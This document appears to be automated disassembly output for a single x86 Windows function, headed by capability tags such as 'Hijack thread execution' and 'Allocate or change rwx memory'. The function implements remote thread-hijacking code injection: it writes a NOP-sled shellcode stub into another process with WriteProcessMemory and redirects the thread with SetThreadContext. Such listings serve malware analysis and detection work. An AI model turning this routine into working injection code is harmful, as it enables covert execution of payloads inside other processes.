Function at 0x404690
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x83c
mov eax, dword [ebp + 8]
test eax, eax
push ebx
push esi
push edi
mov ebx, edx
mov dword [esp + 0x10], ecx
je 0x404a7f
cmp byte [eax], 0
je 0x404a7f
push 0x4000
lea ecx, [esp + 0x4f4]
push ecx
push eax
call dword [sym.imp.KERNEL32.DLL_OpenFile]
cmp eax, 0xffffffff
je 0x404a7f
push str.kernel32
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
lea edx, [esp + 0x220]
mov dword [esp + 0x14], eax
xor eax, eax
push edx
mov ecx, 0xb3
lea edi, [esp + 0x224]
rep stosd dword es:[edi], eax
push ebx
mov dword [esp + 0x14], 0
mov dword [esp + 0x228], 0x1000f
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
jne 0x404730
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov eax, 2
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov eax, dword [esp + 0x2d8]
cmp eax, 0x7ffc0000
mov ecx, 0xb3
lea esi, [esp + 0x220]
lea edi, [esp + 0x578]
rep movsd dword es:[edi], dword [esi]
jae 0x404769
mov ecx, dword [0x41c150]
mov edi, 0x80000000
test edi, ecx
je 0x40477e
cmp eax, 0x400000
ja 0x4047b1
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov eax, 3
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push str.ntdll.dll
call dword [sym.imp.KERNEL32.DLL_GetModuleHandleA]
mov esi, eax
mov eax, dword [esp + 0x2d8]
cmp eax, 0x10000
jbe 0x404769
cmp eax, esi
jbe 0x4047b1
mov ecx, esi
call fcn.00405010
mov ecx, dword [esp + 0x2d8]
add eax, esi
cmp ecx, eax
jb 0x404769
test dword [0x41c150], edi
je 0x4047cd
lea eax, [esp + 0x18]
push eax
push 0x1f6
call fcn.00404300
add esp, 8
jmp 0x4047fa
mov ecx, dword [esp + 0x14]
push 0x414320
push ecx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x404a20
mov edx, dword [esp + 0x10]
push 0x40
push 0x101000
push 0x1f6
push 0
push edx
call eax
mov esi, eax
test esi, esi
jne 0x40481c
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov dword [esp + 0xc], 4
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x20]
push eax
push 0x40
push 0x1f6
push esi
push ecx
call dword [sym.imp.KERNEL32.DLL_VirtualProtectEx]
test eax, eax
jne 0x404867
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov dword [esp + 0xc], 5
mov eax, dword [0x41c150]
test eax, eax
jns 0x404a3c
mov ecx, dword [esp + 0x18]
push ecx
push esi
call fcn.00404340
add esp, 8
jmp 0x404a62
mov ecx, 0x7d
mov eax, 0x90909090
lea edi, [esp + 0x28]
rep stosd dword es:[edi], eax
mov ecx, dword [esp + 0x14]
stosw word es:[edi], ax
lea edx, [esi + 0x6e]
mov dword [esp + 0x31], edx
mov edx, 0x414310
mov byte [esp + 0x30], 0x68
mov byte [esp + 0x35], 0xb8
call fcn.00404be0
mov ecx, dword [ebp + 8]
mov dword [esp + 0x36], eax
lea eax, [esi + 0x1f2]
push 0x184
mov dword [esp + 0x54], eax
push ecx
lea edx, [esp + 0x9e]
lea eax, [esi + 0x26]
push edx
mov word [esp + 0x46], 0xd0ff
mov word [esp + 0x5a], 0x25ff
mov dword [esp + 0x226], eax
call fcn.0040ade0
mov edi, dword [esp + 0x1c]
add esp, 0xc
lea eax, [esp + 0x24]
push eax
push 0x1f6
lea ecx, [esp + 0x30]
push ecx
push esi
push edi
mov byte [esp + 0x22d], 0
call dword [sym.imp.KERNEL32.DLL_WriteProcessMemory]
test eax, eax
jne 0x404912
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov dword [esp + 0xc], 6
jmp 0x404847
push 0x1f6
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_FlushInstructionCache]
mov eax, dword [esp + 0x2e4]
lea edx, [esp + 0x220]
push edx
sub eax, 0x80
push ebx
mov dword [esp + 0x228], 0x10001
mov dword [esp + 0x2e0], esi
mov dword [esp + 0x2ec], eax
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
lea ebx, [ebx]
push 0x32
call dword [sym.imp.KERNEL32.DLL_Sleep]
xor eax, eax
mov ecx, 0xb3
lea edi, [esp + 0x220]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x220]
push eax
push ebx
mov dword [esp + 0x228], 0x10003
call dword [sym.imp.KERNEL32.DLL_GetThreadContext]
test eax, eax
je 0x4049eb
mov ecx, dword [esp + 0x2d8]
lea eax, [esi + 0x26]
cmp ecx, eax
jne 0x404960
mov ecx, dword [esp + 0x2d0]
xor edx, edx
test ecx, ecx
sete dl
push ebx
mov dword [esp + 0x20], edx
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
lea eax, [esp + 0x578]
push eax
push ebx
mov dword [esp + 0x580], 0x1000f
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
jmp 0x404847
push ebx
call dword [sym.imp.KERNEL32.DLL_SuspendThread]
lea ecx, [esp + 0x578]
push ecx
push ebx
mov dword [esp + 0x580], 0x1000f
call dword [sym.imp.KERNEL32.DLL_SetThreadContext]
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov dword [esp + 0xc], 8
jmp 0x404847
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
mov dword [esp + 0xc], 7
mov eax, dword [esp + 0xc]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov edx, dword [esp + 0x14]
push 0x414300
push edx
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
test eax, eax
je 0x404a27
mov ecx, dword [esp + 0x10]
push 0x8000
push 0x1f6
push esi
push ecx
call eax
mov eax, dword [esp + 0xc]
test eax, eax
jne 0x40480f
mov eax, dword [esp + 0x1c]
neg eax
sbb eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
push ebx
call dword [sym.imp.KERNEL32.DLL_ResumeThread]
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 4